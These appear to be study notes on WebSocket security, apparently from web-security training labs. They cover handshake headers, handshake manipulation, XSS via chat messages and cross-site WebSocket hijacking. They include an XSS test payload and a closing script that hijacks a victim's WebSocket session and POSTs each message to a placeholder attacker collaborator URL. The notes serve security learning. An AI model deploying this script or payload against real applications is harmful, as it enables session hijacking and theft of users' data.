websockets

• The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.

• The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.

• The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.

• The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

• User-supplied input transmitted to the server might be processed in unsafe ways, leading to vulnerabilities such as SQL injection or XML external entity injection.

• Some blind vulnerabilities reached via WebSockets might only be detectable using out-of-band (OAST) techniques.

• If attacker-controlled data is transmitted via WebSockets to other application users, then it might lead to XSS or other client-side vulnerabilities.

Manipulate WS handshake

Some WebSockets vulnerabilities can only be found and exploited by manipulating the WebSocket handshake. These vulnerabilities tend to involve design flaws, such as:

• Misplaced trust in HTTP headers to perform security decisions, such as the X-Forwarded-For header.

• Flaws in session handling mechanisms, since the session context in which WebSocket messages are processed is generally determined by the session context of the handshake message.

• Attack surface introduced by custom HTTP headers used by the application.

XSS in message

{"message":"Hello Carlos"}

The contents of the message are transmitted (again via WebSockets) to another chat user, and rendered in the user's browser as follows:

<td>Hello Carlos</td>

In this situation, provided no other input processing or defenses are in play, an attacker can perform a proof-of-concept XSS attack by submitting the following WebSocket message:

{"message":"<img src=1 onerror='alert(1)'>"}

CSWSH

Cross-Site WebSocket Hijacking (CSWSH) Summary:

• Definition:

  • CSWSH is a cross-site request forgery (CSRF) vulnerability involving the WebSocket handshake.

  • It occurs when WebSocket handshakes rely solely on HTTP cookies for session handling, without CSRF tokens or other unpredictable values.

  • An attacker can exploit this by creating a malicious webpage that establishes a WebSocket connection using the victim’s session.

• How the attack works:

  • The attacker’s page initiates a WebSocket connection with the vulnerable application.

  • The application processes this connection in the victim's session context.

  • The attacker can send arbitrary messages to the server and read responses, enabling two-way interaction.

• Impact:

  • Unauthorized actions: The attacker can perform actions as the victim by sending messages via WebSocket.

  • Data theft: The attacker can intercept and read sensitive data sent back from the server, which is not possible in typical CSRF attacks.

• Performing the attack:

  • The attacker reviews WebSocket handshakes to check if they rely solely on HTTP cookies, without CSRF protections (e.g., tokens).

  • An example of a vulnerable handshake is a WebSocket request where the session token is only in a cookie.

  • If the handshake is vulnerable, the attacker can:

    • Send WebSocket messages to trigger unauthorized actions.

    • Intercept sensitive data sent by the server.

    • Wait for sensitive data to be sent from the application over WebSocket.

Script for open new ws connection

Change wss and collaborator-url.

ws.send message to first message of websocket

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>